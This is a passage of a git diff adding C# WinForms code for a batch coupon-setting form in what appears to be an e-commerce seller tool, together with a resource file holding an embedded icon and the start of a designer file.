\ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/CouponMulitAddForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/CouponMulitAddForm.cs new file mode 100644 index 0000000..d9d50be --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/CouponMulitAddForm.cs @@ -0,0 +1,163 @@ +using AllBase; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class CouponMulitAddForm : LRBaseForm + { + int number = 1; + public CouponShopForm couponShopForm = null; + + public CouponMulitAddForm() + { + InitializeComponent(); + } + + private void couponAddParamControl1_OnClose(object obj) + { + int i = 0; + foreach (var c in panel3.Controls) + { + var couponControl = c as UcCouponAddParam; + if (couponControl == null) + continue; + + couponControl.Location = new Point(0, i * (couponControl.Height + 2)); + lblAdd.Location = new Point(20, (i + 1) * (couponControl.Height + 2) + 10); + i++; + } + + if (panel3.Controls.Count == 1) + lblAdd.Location = new Point(20, 12); + } + + private void lblAdd_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + this.number++; + + UcCouponAddParam co = new UcCouponAddParam(number); + if (rbUseTypePeriod.Checked) + co.pnlTimePeriod.Visible = true; + else + co.pnlTimePeriod.Visible = false; + + panel3.Controls.Add(co); + co.OnClose += couponAddParamControl1_OnClose; + + int i = 0; + foreach (var c in panel3.Controls) + { + var couponControl = c as UcCouponAddParam; + if (couponControl == null) + continue; + + couponControl.Location = new Point(0, i * (couponControl.Height + 2)); + lblAdd.Location = new Point(20, (i + 1) * (couponControl.Height + 2) + 10); + i++; + } + } + + private void btnGetProduct_Click(object sender, EventArgs e) + { + if (couponShopForm == null) + return; + + this.btnSet.Enabled = false; + Task.Run(() => + { + foreach (var c in this.panel3.Controls) + { + var couponControl = c as UcCouponAddParam; + if (couponControl == null) + continue; + + int periodType = this.rbUseTypePeriod.Checked ? 1 : 2; + int favouredType = 41; + Invoke(new Action(() => + { + if (couponControl.cmbType.Text == "商品直减券") + favouredType = 42; + else if (couponControl.cmbType.Text == "商品满减券") + favouredType = 43; + })); + int days = couponControl.nudDays.Text.ParseToInt(); + int startApplyTime = BaseClass.DateTimeToTimestampSeconds(couponControl.dtpStartApplyTime.Value); + int endApplyTime = BaseClass.DateTimeToTimestampSeconds(couponControl.dtpEndApplyTime.Value); + int startUseTime = BaseClass.DateTimeToTimestampSeconds(couponControl.dtpStartUseTime.Value.Date); + int endUseTime = BaseClass.DateTimeToTimestampSeconds(couponControl.dtpEndUseTime.Value.Date.AddDays(1).AddSeconds(-1)); + int totalCount = couponControl.nudTotalCount.Value.ParseToInt(); + int countLimit = 1; + decimal discount = couponControl.nudCredit.Value.ParseToDecimal(); + int thresHold = couponControl.nudThresHold.Value.ParseToInt(); // 满x元 单位元 + int credit = couponControl.nudCredit.Value.ParseToInt(); // 减x元 单位元 + bool ignore = couponControl.rbNotReckonIn.Checked; + string couponName = couponControl.txtName.Text; + bool oneProductEachCoupon = this.rbOneProductEachCoupon.Checked; + + var result = couponShopForm.SetCoupon(periodType, favouredType, startApplyTime, endApplyTime, startUseTime, endUseTime, days, totalCount, countLimit, discount, thresHold, credit, ignore, oneProductEachCoupon, couponName); + //if (result.Contains("\"msg\":\"成功\"")) + // Invoke(new Action(() => { couponControl.lblMsg.Text = "设置成功"; })); + //else + // Invoke(new Action(() => { couponControl.lblMsg.Text = "设置失败"; })); + if (result.Contains("success") && !result.Contains("error")) + Invoke(new Action(() => { couponControl.lblMsg.Text = "设置成功"; })); + else if (result.Contains("success") && result.Contains("error")) + Invoke(new Action(() => { couponControl.lblMsg.Text = "部分成功"; })); + else + Invoke(new Action(() => { couponControl.lblMsg.Text = "设置失败"; })); + + if ("18565722666,13928836672,18565722666,13928836672,18937517772,18135637272,18888888888".Contains(BaseClass.UserName)) + Thread.Sleep(Randomx.GetId(200, 700)); + else + Thread.Sleep(Randomx.GetId(1000, 2000)); + } + BaseMsgForm.ShowInfo("优惠券批量设置结束!"); + Invoke(new Action(() => + { + this.btnSet.Enabled = true; + })); + }); + } + + private void rbUseTypePeriod_CheckedChanged(object sender, EventArgs e) + { + if (rbUseTypePeriod.Checked) + { + lblUseTypeText.Text = "日期范围"; + + foreach (var c in this.panel3.Controls) + { + var couponControl = c as UcCouponAddParam; + if (couponControl == null) + continue; + + couponControl.pnlTimePeriod.Visible = true; + } + } + else + { + lblUseTypeText.Text = "领券当日起"; + + foreach (var c in this.panel3.Controls) + { + var couponControl = c as UcCouponAddParam; + if (couponControl == null) + continue; + + couponControl.pnlTimePeriod.Visible = false; + } + } + } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/CouponMulitAddForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/CouponMulitAddForm.resx new file mode 100644 index 0000000..450d02b --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/CouponMulitAddForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcwAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/CouponShopForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/CouponShopForm.Designer.cs new file mode 100644 index 0000000..0e1f49c --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/CouponShopForm.Designer.cs @@ -0,0 +1,296 @@ +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class CouponShopForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + 